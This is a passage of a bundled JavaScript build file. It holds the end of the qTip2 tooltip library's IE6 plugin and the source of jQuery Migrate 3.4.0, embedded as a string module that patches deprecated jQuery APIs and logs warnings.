		if(this.qtip.rendered < 1 || this.drawing) { return this; }

		var tooltip = this.qtip.tooltip,
			style = this.qtip.options.style,
			container = this.qtip.options.position.container,
			perc, width, max, min;

		// Set drawing flag
		this.qtip.drawing = 1;

		// If tooltip has a set height/width, just set it... like a boss!
		if(style.height) { tooltip.css(HEIGHT, style.height); }
		if(style.width) { tooltip.css(WIDTH, style.width); }

		// Simulate max/min width if not set width present...
		else {
			// Reset width and add fluid class
			tooltip.css(WIDTH, '').appendTo(this.redrawContainer);

			// Grab our tooltip width (add 1 if odd so we don't get wrapping problems.. huzzah!)
			width = tooltip.width();
			if(width % 2 < 1) { width += 1; }

			// Grab our max/min properties
			max = tooltip.css('maxWidth') || '';
			min = tooltip.css('minWidth') || '';

			// Parse into proper pixel values
			perc = (max + min).indexOf('%') > -1 ? container.width() / 100 : 0;
			max = (max.indexOf('%') > -1 ? perc : 1 * parseInt(max, 10)) || width;
			min = (min.indexOf('%') > -1 ? perc : 1 * parseInt(min, 10)) || 0;

			// Determine new dimension size based on max/min/current values
			width = max + min ? Math.min(Math.max(width, min), max) : width;

			// Set the newly calculated width and remvoe fluid class
			tooltip.css(WIDTH, Math.round(width)).appendTo(container);
		}

		// Set drawing flag
		this.drawing = 0;

		return this;
	},

	destroy: function() {
		// Remove iframe
		this.bgiframe && this.bgiframe.remove();

		// Remove bound events
		this.qtip._unbind([window, this.qtip.tooltip], this._ns);
	}
});

IE6 = PLUGINS.ie6 = function(api) {
	// Proceed only if the browser is IE6
	return BROWSER.ie === 6 ? new Ie6(api) : FALSE;
};

IE6.initialize = 'render';

CHECKS.ie6 = {
	'^content|style$': function() {
		this.redraw();
	}
};
;}));
}( window, document ));


/***/ }),

/***/ 488:
/***/ ((module) => {

module.exports = "/*!\n * jQuery Migrate - v3.4.0 - 2022-03-24T16:30Z\n * Copyright OpenJS Foundation and other contributors\n */\n( function( factory ) {\n\t\"use strict\";\n\n\tif ( typeof define === \"function\" && define.amd ) {\n\n\t\t// AMD. Register as an anonymous module.\n\t\tdefine( [ \"jquery\" ], function( jQuery ) {\n\t\t\treturn factory( jQuery, window );\n\t\t} );\n\t} else if ( typeof module === \"object\" && module.exports ) {\n\n\t\t// Node/CommonJS\n\t\t// eslint-disable-next-line no-undef\n\t\tmodule.exports = factory( require( \"jquery\" ), window );\n\t} else {\n\n\t\t// Browser globals\n\t\tfactory( jQuery, window );\n\t}\n} )( function( jQuery, window ) {\n\"use strict\";\n\njQuery.migrateVersion = \"3.4.0\";\n\n// Returns 0 if v1 == v2, -1 if v1 < v2, 1 if v1 > v2\nfunction compareVersions( v1, v2 ) {\n\tvar i,\n\t\trVersionParts = /^(\\d+)\\.(\\d+)\\.(\\d+)/,\n\t\tv1p = rVersionParts.exec( v1 ) || [ ],\n\t\tv2p = rVersionParts.exec( v2 ) || [ ];\n\n\tfor ( i = 1; i <= 3; i++ ) {\n\t\tif ( +v1p[ i ] > +v2p[ i ] ) {\n\t\t\treturn 1;\n\t\t}\n\t\tif ( +v1p[ i ] < +v2p[ i ] ) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\treturn 0;\n}\n\nfunction jQueryVersionSince( version ) {\n\treturn compareVersions( jQuery.fn.jquery, version ) >= 0;\n}\n\n// A map from disabled patch codes to `true`. This should really\n// be a `Set` but those are unsupported in IE.\nvar disabledPatches = Object.create( null );\n\n// Don't apply patches for specified codes. Helpful for code bases\n// where some Migrate warnings have been addressed and it's desirable\n// to avoid needless patches or false positives.\njQuery.migrateDisablePatches = function() {\n\tvar i;\n\tfor ( i = 0; i < arguments.length; i++ ) {\n\t\tdisabledPatches[ arguments[ i ] ] = true;\n\t}\n};\n\n// Allow enabling patches disabled via `jQuery.migrateDisablePatches`.\n// Helpful if you want to disable a patch only for some code that won't\n// be updated soon to be able to focus on other warnings - and enable it\n// immediately after such a call:\n// ```js\n// jQuery.migrateDisablePatches( \"workaroundA\" );\n// elem.pluginViolatingWarningA( \"pluginMethod\" );\n// jQuery.migrateEnablePatches( \"workaroundA\" );\n// ```\njQuery.migrateEnablePatches = function() {\n\tvar i;\n\tfor ( i = 0; i < arguments.length; i++ ) {\n\t\tdelete disabledPatches[ arguments[ i ] ];\n\t}\n};\n\njQuery.migrateIsPatchEnabled = function( patchCode ) {\n\treturn !disabledPatches[ patchCode ];\n};\n\n( function() {\n\n\t// Support: IE9 only\n\t// IE9 only creates console object when dev tools are first opened\n\t// IE9 console is a host object, callable but doesn't have .apply()\n\tif ( !window.console || !window.console.log ) {\n\t\treturn;\n\t}\n\n\t// Need jQuery 3.0.0+ and no older Migrate loaded\n\tif ( !jQuery || !jQueryVersionSince( \"3.0.0\" ) ) {\n\t\twindow.console.log( \"JQMIGRATE: jQuery 3.0.0+ REQUIRED\" );\n\t}\n\tif ( jQuery.migrateWarnings ) {\n\t\twindow.console.log( \"JQMIGRATE: Migrate plugin loaded multiple times\" );\n\t}\n\n\t// Show a message on the console so devs know we're active\n\twindow.console.log( \"JQMIGRATE: Migrate is installed\" +\n\t\t( jQuery.migrateMute ? \"\" : \" with logging active\" ) +\n\t\t\", version \" + jQuery.migrateVersion );\n\n} )();\n\nvar warnedAbout = {};\n\n// By default each warning is only reported once.\njQuery.migrateDeduplicateWarnings = true;\n\n// List of warnings already given; public read only\njQuery.migrateWarnings = [];\n\n// Set to false to disable traces that appear with warnings\nif ( jQuery.migrateTrace === undefined ) {\n\tjQuery.migrateTrace = true;\n}\n\n// Forget any warnings we've already given; public\njQuery.migrateReset = function() {\n\twarnedAbout = {};\n\tjQuery.migrateWarnings.length = 0;\n};\n\nfunction migrateWarn( code, msg ) {\n\tvar console = window.console;\n\tif ( jQuery.migrateIsPatchEnabled( code ) &&\n\t\t( !jQuery.migrateDeduplicateWarnings || !warnedAbout[ msg ] ) ) {\n\t\twarnedAbout[ msg ] = true;\n\t\tjQuery.migrateWarnings.push( msg + \" [\" + code + \"]\" );\n\t\tif ( console && console.warn && !jQuery.migrateMute ) {\n\t\t\tconsole.warn( \"JQMIGRATE: \" + msg );\n\t\t\tif ( jQuery.migrateTrace && console.trace ) {\n\t\t\t\tconsole.trace();\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction migrateWarnProp( obj, prop, value, code, msg ) {\n\tObject.defineProperty( obj, prop, {\n\t\tconfigurable: true,\n\t\tenumerable: true,\n\t\tget: function() {\n\t\t\tmigrateWarn( code, msg );\n\t\t\treturn value;\n\t\t},\n\t\tset: function( newValue ) {\n\t\t\tmigrateWarn( code, msg );\n\t\t\tvalue = newValue;\n\t\t}\n\t} );\n}\n\nfunction migrateWarnFuncInternal( obj, prop, newFunc, code, msg ) {\n\tvar finalFunc,\n\t\torigFunc = obj[ prop ];\n\n\tobj[ prop ] = function() {\n\n\t\t// If `msg` not provided, do not warn; more sophisticated warnings\n\t\t// logic is most likely embedded in `newFunc`, in that case here\n\t\t// we just care about the logic choosing the proper implementation\n\t\t// based on whether the patch is disabled or not.\n\t\tif ( msg ) {\n\t\t\tmigrateWarn( code, msg );\n\t\t}\n\n\t\t// Since patches can be disabled & enabled dynamically, we\n\t\t// need to decide which implementation to run on each invocation.\n\t\tfinalFunc = jQuery.migrateIsPatchEnabled( code ) ?\n\t\t\tnewFunc :\n\n\t\t\t// The function may not have existed originally so we need a fallback.\n\t\t\t( origFunc || jQuery.noop );\n\n\t\treturn finalFunc.apply( this, arguments );\n\t};\n}\n\nfunction migratePatchAndWarnFunc( obj, prop, newFunc, code, msg ) {\n\tif ( !msg ) {\n\t\tthrow new Error( \"No warning message provided\" );\n\t}\n\treturn migrateWarnFuncInternal( obj, prop, newFunc, code, msg );\n}\n\nfunction migratePatchFunc( obj, prop, newFunc, code ) {\n\treturn migrateWarnFuncInternal( obj, prop, newFunc, code );\n}\n\nif ( window.document.compatMode === \"BackCompat\" ) {\n\n\t// jQuery has never supported or tested Quirks Mode\n\tmigrateWarn( \"quirks\", \"jQuery is not compatible with Quirks Mode\" );\n}\n\nvar findProp,\n\tclass2type = {},\n\toldInit = jQuery.fn.init,\n\toldFind = jQuery.find,\n\n\trattrHashTest = /\\[(\\s*[-\\w]+\\s*)([~|^$*]?=)\\s*([-\\w#]*?#[-\\w#]*)\\s*\\]/,\n\trattrHashGlob = /\\[(\\s*[-\\w]+\\s*)([~|^$*]?=)\\s*([-\\w#]*?#[-\\w#]*)\\s*\\]/g,\n\n\t// Support: Android <=4.0 only\n\t// Make sure we trim BOM and NBSP\n\trtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;\n\nmigratePatchFunc( jQuery.fn, \"init\", function( arg1 ) {\n\tvar args = Array.prototype.slice.call( arguments );\n\n\tif ( jQuery.migrateIsPatchEnabled( \"selector-empty-id\" ) &&\n\t\ttypeof arg1 === \"string\" && arg1 === \"#\" ) {\n\n\t\t// JQuery( \"#\" ) is a bogus ID selector, but it returned an empty set\n\t\t// before jQuery 3.0\n\t\tmigrateWarn( \"selector-empty-id\", \"jQuery( '#' ) is not a valid selector\" );\n\t\targs[ 0 ] = [];\n\t}\n\n\treturn oldInit.apply( this, args );\n}, \"selector-empty-id\" );\n\n// This is already done in Core but the above patch will lose this assignment\n// so we need to redo it. It doesn't matter whether the patch is enabled or not\n// as the method is always going to be a Migrate-created wrapper.\njQuery.fn.init.prototype = jQuery.fn;\n\nmigratePatchFunc( jQuery, \"find\", function( selector ) {\n\tvar args = Array.prototype.slice.call( arguments );\n\n\t// Support: PhantomJS 1.x\n\t// String#match fails to match when used with a //g RegExp, only on some strings\n\tif ( typeof selector === \"string\" && rattrHashTest.test( selector ) ) {\n\n\t\t// The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0\n\t\t// First see if qS thinks it's a valid selector, if so avoid a false positive\n\t\ttry {\n\t\t\twindow.document.querySelector( selector );\n\t\t} catch ( err1 ) {\n\n\t\t\t// Didn't *look* valid to qSA, warn and try quoting what we think is the value\n\t\t\tselector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {\n\t\t\t\treturn \"[\" + attr + op + \"\\\"\" + value + \"\\\"]\";\n\t\t\t} );\n\n\t\t\t// If the regexp *may* have created an invalid selector, don't update it\n\t\t\t// Note that there may be false alarms if selector uses jQuery extensions\n\t\t\ttry {\n\t\t\t\twindow.document.querySelector( selector );\n\t\t\t\tmigrateWarn( \"selector-hash\",\n\t\t\t\t\t\"Attribute selector with '#' must be quoted: \" + args[ 0 ] );\n\t\t\t\targs[ 0 ] = selector;\n\t\t\t} catch ( err2 ) {\n\t\t\t\tmigrateWarn( \"selector-hash\",\n\t\t\t\t\t\"Attribute selector with '#' was not fixed: \" + args[ 0 ] );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn oldFind.apply( this, args );\n}, \"selector-hash\" );\n\n// Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)\nfor ( findProp in oldFind ) {\n\tif ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {\n\t\tjQuery.find[ findProp ] = oldFind[ findProp ];\n\t}\n}\n\n// The number of elements contained in the matched element set\nmigratePatchAndWarnFunc( jQuery.fn, \"size\", function() {\n\treturn this.length;\n}, \"size\",\n\"jQuery.fn.size() is deprecated and removed; use the .length property\" );\n\nmigratePatchAndWarnFunc( jQuery, \"parseJSON\", function() {\n\treturn JSON.parse.apply( null, arguments );\n}, \"parseJSON\",\n\"jQuery.parseJSON is deprecated; use JSON.parse\" );\n\nmigratePatchAndWarnFunc( jQuery, \"holdReady\", jQuery.holdReady,\n\t\"holdReady\", \"jQuery.holdReady is deprecated\" );\n\nmigratePatchAndWarnFunc( jQuery, \"unique\", jQuery.uniqueSort,\n\t\"unique\", \"jQuery.unique is deprecated; use jQuery.uniqueSort\" );\n\n// Now jQuery.expr.pseudos is the standard incantation\nmigrateWarnProp( jQuery.expr, \"filters\", jQuery.expr.pseudos, \"expr-pre-pseudos\",\n\t\"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos\" );\nmigrateWarnProp( jQuery.expr, \":\", jQuery.expr.pseudos, \"expr-pre-pseudos\",\n\t\"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos\" );\n\n// Prior to jQuery 3.1.1 there were internal refs so we don't warn there\nif ( jQueryVersionSince( \"3.1.1\" ) ) {\n\tmigratePatchAndWarnFunc( jQuery, \"trim\", function( text ) {\n\t\treturn text == null ?\n\t\t\t\"\" :\n\t\t\t( text + \"\" ).replace( rtrim, \"\" );\n\t}, \"trim\",\n\t\"jQuery.trim is deprecated; use String.prototype.trim\" );\n}\n\n// Prior to jQuery 3.2 there were internal refs so we don't warn there\nif ( jQueryVersionSince( \"3.2.0\" ) ) {\n\tmigratePatchAndWarnFunc( jQuery, \"nodeName\", function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\t}, \"nodeName\",\n\t\"jQuery.nodeName is deprecated\" );\n\n\tmigratePatchAndWarnFunc( jQuery, \"isArray\", Array.isArray, \"isArray\",\n\t\t\"jQuery.isArray is deprecated; use Array.isArray\"\n\t);\n}\n\nif ( jQueryVersionSince( \"3.3.0\" ) ) {\n\n\tmigratePatchAndWarnFunc( jQuery, \"isNumeric\", function( obj ) {\n\n\t\t\t// As of jQuery 3.0, isNumeric is limited to\n\t\t\t// strings and numbers (primitives or objects)\n\t\t\t// that can be coerced to finite numbers (gh-2662)\n\t\t\tvar type = typeof obj;\n\t\t\treturn ( type === \"number\" || type === \"string\" ) &&\n\n\t\t\t\t// parseFloat NaNs numeric-cast false positives (\"\")\n\t\t\t\t// ...but misinterprets leading-number strings, e.g. hex literals (\"0x...\")\n\t\t\t\t// subtraction forces infinities to NaN\n\t\t\t\t!isNaN( obj - parseFloat( obj ) );\n\t\t}, \"isNumeric\",\n\t\t\"jQuery.isNumeric() is deprecated\"\n\t);\n\n\t// Populate the class2type map\n\tjQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".\n\t\tsplit( \" \" ),\n\tfunction( _, name ) {\n\t\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n\t} );\n\n\tmigratePatchAndWarnFunc( jQuery, \"type\", function( obj ) {\n\t\tif ( obj == null ) {\n\t\t\treturn obj + \"\";\n\t\t}\n\n\t\t// Support: Android <=2.3 only (functionish RegExp)\n\t\treturn typeof obj === \"object\" || typeof obj === \"function\" ?\n\t\t\tclass2type[ Object.prototype.toString.call( obj ) ] || \"object\" :\n\t\t\ttypeof obj;\n\t}, \"type\",\n\t\"jQuery.type is deprecated\" );\n\n\tmigratePatchAndWarnFunc( jQuery, \"isFunction\",\n\t\tfunction( obj ) {\n\t\t\treturn typeof obj === \"function\";\n\t\t}, \"isFunction\",\n\t\t\"jQuery.isFunction() is deprecated\" );\n\n\tmigratePatchAndWarnFunc( jQuery, \"isWindow\",\n\t\tfunction( obj ) {\n\t\t\treturn obj != null && obj === obj.window;\n\t\t}, \"isWindow\",\n\t\t\"jQuery.isWindow() is deprecated\"\n\t);\n}\n\n// Support jQuery slim which excludes the ajax module\nif ( jQuery.ajax ) {\n\nvar oldAjax = jQuery.ajax,\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\nmigratePatchFunc( jQuery, \"ajax\", function() {\n\tvar jQXHR = oldAjax.apply( this, arguments );\n\n\t// Be sure we got a jQXHR (e.g., not sync)\n\tif ( jQXHR.promise ) {\n\t\tmigratePatchAndWarnFunc( jQXHR, \"success\", jQXHR.done, \"jqXHR-methods\",\n\t\t\t\"jQXHR.success is deprecated and removed\" );\n\t\tmigratePatchAndWarnFunc( jQXHR, \"error\", jQXHR.fail, \"jqXHR-methods\",\n\t\t\t\"jQXHR.error is deprecated and removed\" );\n\t\tmigratePatchAndWarnFunc( jQXHR, \"complete\", jQXHR.always, \"jqXHR-methods\",\n\t\t\t\"jQXHR.complete is deprecated and removed\" );\n\t}\n\n\treturn jQXHR;\n}, \"jqXHR-methods\" );\n\n// Only trigger the logic in jQuery <4 as the JSON-to-JSONP auto-promotion\n// behavior is gone in jQuery 4.0 and as it has security implications, we don't\n// want to restore the legacy behavior.\nif ( !jQueryVersionSince( \"4.0.0\" ) ) {\n\n\t// Register this prefilter before the jQuery one. Otherwise, a promoted\n\t// request is transformed into one with the script dataType and we can't\n\t// catch it anymore.\n\tjQuery.ajaxPrefilter( \"+json\", function( s ) {\n\n\t\t// Warn if JSON-to-JSONP auto-promotion happens.\n\t\tif ( s.jsonp !== false && ( rjsonp.test( s.url ) ||\n\t\t\t\ttypeof s.data === \"string\" &&\n\t\t\t\t( s.contentType || \"\" )\n\t\t\t\t\t.indexOf( \"application/x-www-form-urlencoded\" ) === 0 &&\n\t\t\t\trjsonp.test( s.data )\n\t\t) ) {\n\t\t\tmigrateWarn( \"jsonp-promotion\", \"JSON-to-JSONP auto-promotion is deprecated\" );\n\t\t}\n\t} );\n}\n\n}\n\nvar oldRemoveAttr = jQuery.fn.removeAttr,\n\toldToggleClass = jQuery.fn.toggleClass,\n\trmatchNonSpace = /\\S+/g;\n\nmigratePatchFunc( jQuery.fn, \"removeAttr\", function( name ) {\n\tvar self = this;\n\n\tjQuery.each( name.match( rmatchNonSpace ), function( _i, attr ) {\n\t\tif ( jQuery.expr.match.bool.test( attr ) ) {\n\t\t\tmigrateWarn( \"removeAttr-bool\",\n\t\t\t\t\"jQuery.fn.removeAttr no longer sets boolean properties: \" + attr );\n\t\t\tself.prop( attr, false );\n\t\t}\n\t} );\n\n\treturn oldRemoveAttr.apply( this, arguments );\n}, \"removeAttr-bool\" );\n\nmigratePatchFunc( jQuery.fn, \"toggleClass\", function( state ) {\n\n\t// Only deprecating no-args or single boolean arg\n\tif ( state !== undefined && typeof state !== \"boolean\" ) {\n\n\t\treturn oldToggleClass.apply( this, arguments );\n\t}\n\n\tmigrateWarn( \"toggleClass-bool\", \"jQuery.fn.toggleClass( boolean ) is deprecated\" );\n\n\t// Toggle entire class name of each element\n\treturn this.each( function() {\n\t\tvar className = this.getAttribute && this.getAttribute( \"class\" ) || \"\";\n\n\t\tif ( className ) {\n\t\t\tjQuery.data( this, \"__className__\", className );\n\t\t}\n\n\t\t// If the element has a class name or if we're passed `false`,\n\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t// falling back to the empty string if nothing was stored.\n\t\tif ( this.setAttribute ) {\n\t\t\tthis.setAttribute( \"class\",\n\t\t\t\tclassName || state === false ?\n\t\t\t\t\"\" :\n\t\t\t\tjQuery.data( this, \"__className__\" ) || \"\"\n\t\t\t);\n\t\t}\n\t} );\n}, \"toggleClass-bool\" );\n\nfunction camelCase( string ) {\n\treturn string.replace( /-([a-z])/g, function( _, letter ) {\n\t\treturn letter.toUpperCase();\n\t} );\n}\n\nvar origFnCss,\n\tinternalSwapCall = false,\n\tralphaStart = /^[a-z]/,\n\n\t// The regex visualized:\n\t//\n\t//                         /----------\\\n\t//                        |            |    /-------\\\n\t//                        |  / Top  \\  |   |         |\n\t//         /--- Border ---+-| Right  |-+---+- Width -+---\\\n\t//        |                 | Bottom |                    |\n\t//        |                  \\ Left /                     |\n\t//        |                                               |\n\t//        |                              /----------\\     |\n\t//        |          /-------------\\    |            |    |- END\n\t//        |         |               |   |  / Top  \\  |    |\n\t//        |         |  / Margin  \\  |   | | Right  | |    |\n\t//        |---------+-|           |-+---+-| Bottom |-+----|\n\t//        |            \\ Padding /         \\ Left /       |\n\t// BEGIN -|                                               |\n\t//        |                /---------\\                    |\n\t//        |               |           |                   |\n\t//        |               |  / Min \\  |    / Width  \\     |\n\t//         \\--------------+-|       |-+---|          |---/\n\t//                           \\ Max /       \\ Height /\n\trautoPx = /^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;\n\n// If this version of jQuery has .swap(), don't false-alarm on internal uses\nif ( jQuery.swap ) {\n\tjQuery.each( [ \"height\", \"width\", \"reliableMarginRight\" ], function( _, name ) {\n\t\tvar oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;\n\n\t\tif ( oldHook ) {\n\t\t\tjQuery.cssHooks[ name ].get = function() {\n\t\t\t\tvar ret;\n\n\t\t\t\tinternalSwapCall = true;\n\t\t\t\tret = oldHook.apply( this, arguments );\n\t\t\t\tinternalSwapCall = false;\n\t\t\t\treturn ret;\n\t\t\t};\n\t\t}\n\t} );\n}\n\nmigratePatchFunc( jQuery, \"swap\", function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\tif ( !internalSwapCall ) {\n\t\tmigrateWarn( \"swap\", \"jQuery.swap() is undocumented and deprecated\" );\n\t}\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n}, \"swap\" );\n\nif ( jQueryVersionSince( \"3.4.0\" ) && typeof Proxy !== \"undefined\" ) {\n\tjQuery.cssProps = new Proxy( jQuery.cssProps || {}, {\n\t\tset: function() {\n\t\t\tmigrateWarn( \"cssProps\", \"jQuery.cssProps is deprecated\" );\n\t\t\treturn Reflect.set.apply( this, arguments );\n\t\t}\n\t} );\n}\n\n// In jQuery >=4 where jQuery.cssNumber is missing fill it with the latest 3.x version:\n// https://github.com/jquery/jquery/blob/3.6.0/src/css.js#L212-L233\n// This way, number values for the CSS properties below won't start triggering\n// Migrate warnings when jQuery gets updated to >=4.0.0 (gh-438).\nif ( jQueryVersionSince( \"4.0.0\" ) && typeof Proxy !== \"undefined\" ) {\n\tjQuery.cssNumber = new Proxy( {\n\t\tanimationIterationCount: true,\n\t\tcolumnCount: true,\n\t\tfillOpacity: true,\n\t\tflexGrow: true,\n\t\tflexShrink: true,\n\t\tfontWeight: true,\n\t\tgridArea: true,\n\t\tgridColumn: true,\n\t\tgridColumnEnd: true,\n\t\tgridColumnStart: true,\n\t\tgridRow: true,\n\t\tgridRowEnd: true,\n\t\tgridRowStart: true,\n\t\tlineHeight: true,\n\t\topacity: true,\n\t\torder: true,\n\t\torphans: true,\n\t\twidows: true,\n\t\tzIndex: true,\n\t\tzoom: true\n\t}, {\n\t\tget: function() {\n\t\t\tmigrateWarn( \"css-number\", \"jQuery.cssNumber is deprecated\" );\n\t\t\treturn Reflect.get.apply( this, arguments );\n\t\t},\n\t\tset: function() {\n\t\t\tmigrateWarn( \"css-number\", \"jQuery.cssNumber is deprecated\" );\n\t\t\treturn Reflect.set.apply( this, arguments );\n\t\t}\n\t} );\n}\n\nfunction isAutoPx( prop ) {\n\n\t// The first test is used to ensure that:\n\t// 1. The prop starts with a lowercase letter (as we uppercase it for the second regex).\n\t// 2. The prop is not empty.\n\treturn ralphaStart.test( prop ) &&\n\t\trautoPx.test( prop[ 0 ].toUpperCase() + prop.slice( 1 ) );\n}\n\norigFnCss = jQuery.fn.css;\n\nmigratePatchFunc( jQuery.fn, \"css\", function( name, value ) {\n\tvar camelName,\n\t\torigThis = this;\n\n\tif ( name && typeof name === \"object\" && !Array.isArray( name ) ) {\n\t\tjQuery.each( name, function( n, v ) {\n\t\t\tjQuery.fn.css.call( origThis, n, v );\n\t\t} );\n\t\treturn this;\n\t}\n\n\tif ( typeof value === \"number\" ) {\n\t\tcamelName = camelCase( name );\n\t\tif ( !isAutoPx( camelName ) && !jQuery.cssNumber[ camelName ] ) {\n\t\t\tmigrateWarn( \"css-number\",\n\t\t\t\t\"Number-typed values are deprecated for jQuery.fn.css( \\\"\" +\n\t\t\t\tname + \"\\\", value )\" );\n\t\t}\n\t}\n\n\treturn origFnCss.apply( this, arguments );\n}, \"css-number\" );\n\nvar origData = jQuery.data;\n\nmigratePatchFunc( jQuery, \"data\", function( elem, name, value ) {\n\tvar curData, sameKeys, key;\n\n\t// Name can be an object, and each entry in the object is meant to be set as data\n\tif ( name && typeof name === \"object\" && arguments.length === 2 ) {\n\n\t\tcurData = jQuery.hasData( elem ) && origData.call( this, elem );\n\t\tsameKeys = {};\n\t\tfor ( key in name ) {\n\t\t\tif ( key !== camelCase( key ) ) {\n\t\t\t\tmigrateWarn( \"data-camelCase\",\n\t\t\t\t\t\"jQuery.data() always sets/gets camelCased names: \" + key );\n\t\t\t\tcurData[ key ] = name[ key ];\n\t\t\t} else {\n\t\t\t\tsameKeys[ key ] = name[ key ];\n\t\t\t}\n\t\t}\n\n\t\torigData.call( this, elem, sameKeys );\n\n\t\treturn name;\n\t}\n\n\t// If the name is transformed, look for the un-transformed name in the data object\n\tif ( name && typeof name === \"string\" && name !== camelCase( name ) ) {\n\n\t\tcurData = jQuery.hasData( elem ) && origData.call( this, elem );\n\t\tif ( curData && name in curData ) {\n\t\t\tmigrateWarn( \"data-camelCase\",\n\t\t\t\t\"jQuery.data() always sets/gets camelCased names: \" + name );\n\t\t\tif ( arguments.length > 2 ) {\n\t\t\t\tcurData[ name ] = value;\n\t\t\t}\n\t\t\treturn curData[ name ];\n\t\t}\n\t}\n\n\treturn origData.apply( this, arguments );\n}, \"data-camelCase\" );\n\n// Support jQuery slim which excludes the effects module\nif ( jQuery.fx ) {\n\nvar intervalValue, intervalMsg,\n\toldTweenRun = jQuery.Tween.prototype.run,\n\tlinearEasing = function( pct ) {\n\t\treturn pct;\n\t};\n\nmigratePatchFunc( jQuery.Tween.prototype, \"run\", function( ) {\n\tif ( jQuery.easing[ this.easing ].length > 1 ) {\n\t\tmigrateWarn(\n\t\t\t\"easing-one-arg\",\n\t\t\t\"'jQuery.easing.\" + this.easing.toString() + \"' should use only one argument\"\n\t\t);\n\n\t\tjQuery.easing[ this.easing ] = linearEasing;\n\t}\n\n\toldTweenRun.apply( this, arguments );\n}, \"easing-one-arg\" );\n\nintervalValue = jQuery.fx.interval;\nintervalMsg = \"jQuery.fx.interval is deprecated\";\n\n// Support: IE9, Android <=4.4\n// Avoid false positives on browsers that lack rAF\n// Don't warn if document is hidden, jQuery uses setTimeout (#292)\nif ( window.requestAnimationFrame ) {\n\tObject.defineProperty( jQuery.fx, \"interval\", {\n\t\tconfigurable: true,\n\t\tenumerable: true,\n\t\tget: function() {\n\t\t\tif ( !window.document.hidden ) {\n\t\t\t\tmigrateWarn( \"fx-interval\", intervalMsg );\n\t\t\t}\n\n\t\t\t// Only fallback to the default if patch is enabled\n\t\t\tif ( !jQuery.migrateIsPatchEnabled( \"fx-interval\" ) ) {\n\t\t\t\treturn intervalValue;\n\t\t\t}\n\t\t\treturn intervalValue === undefined ? 13 : intervalValue;\n\t\t},\n\t\tset: function( newValue ) {\n\t\t\tmigrateWarn( \"fx-interval\", intervalMsg );\n\t\t\tintervalValue = newValue;\n\t\t}\n\t} );\n}\n\n}\n\nvar oldLoad = jQuery.fn.load,\n\toldEventAdd = jQuery.event.add,\n\toriginalFix = jQuery.event.fix;\n\njQuery.event.props = [];\njQuery.event.fixHooks = {};\n\nmigrateWarnProp( jQuery.event.props, \"concat\", jQuery.event.props.concat,\n\t\"event-old-patch\",\n\t\"jQuery.event.props.concat() is deprecated and removed\" );\n\nmigratePatchFunc( jQuery.event, \"fix\", function( originalEvent ) {\n\tvar event,\n\t\ttype = originalEvent.type,\n\t\tfixHook = this.fixHooks[ type ],\n\t\tprops = jQuery.event.props;\n\n\tif ( props.length ) {\n\t\tmigrateWarn( \"event-old-patch\",\n\t\t\t\"jQuery.event.props are deprecated and removed: \" + props.join() );\n\t\twhile ( props.length ) {\n\t\t\tjQuery.event.addProp( props.pop() );\n\t\t}\n\t}\n\n\tif ( fixHook && !fixHook._migrated_ ) {\n\t\tfixHook._migrated_ = true;\n\t\tmigrateWarn( \"event-old-patch\",\n\t\t\t\"jQuery.event.fixHooks are deprecated and removed: \" + type );\n\t\tif ( ( props = fixHook.props ) && props.length ) {\n\t\t\twhile ( props.length ) {\n\t\t\t\tjQuery.event.addProp( props.pop() );\n\t\t\t}\n\t\t}\n\t}\n\n\tevent = originalFix.call( this, originalEvent );\n\n\treturn fixHook && fixHook.filter ?\n\t\tfixHook.filter( event, originalEvent ) :\n\t\tevent;\n}, \"event-old-patch\" );\n\nmigratePatchFunc( jQuery.event, \"add\", function( elem, types ) {\n\n\t// This misses the multiple-types case but that seems awfully rare\n\tif ( elem === window && types === \"load\" && window.document.readyState === \"complete\" ) {\n\t\tmigrateWarn( \"load-after-event\",\n\t\t\t\"jQuery(window).on('load'...) called after load event occurred\" );\n\t}\n\treturn oldEventAdd.apply( this, arguments );\n}, \"load-after-event\" );\n\njQuery.each( [ \"load\", \"unload\", \"error\" ], function( _, name ) {\n\n\tmigratePatchFunc( jQuery.fn, name, function() {\n\t\tvar args = Array.prototype.slice.call( arguments, 0 );\n\n\t\t// If this is an ajax load() the first arg should be the string URL;\n\t\t// technically this could also be the \"Anything\" arg of the event .load()\n\t\t// which just goes to show why this dumb signature has been deprecated!\n\t\t// jQuery custom builds that exclude the Ajax module justifiably die here.\n\t\tif ( name === \"load\" && typeof args[ 0 ] === \"string\" ) {\n\t\t\treturn oldLoad.apply( this, args );\n\t\t}\n\n\t\tmigrateWarn( \"shorthand-removed-v3\",\n\t\t\t\"jQuery.fn.\" + name + \"() is deprecated\" );\n\n\t\targs.splice( 0, 0, name );\n\t\tif ( arguments.length ) {\n\t\t\treturn this.on.apply( this, args );\n\t\t}\n\n\t\t// Use .triggerHandler here because:\n\t\t// - load and unload events don't need to bubble, only applied to window or image\n\t\t// - error event should not bubble to window, although it does pre-1.7\n\t\t// See http://bugs.jquery.com/ticket/11820\n\t\tthis.triggerHandler.apply( this, args );\n\t\treturn 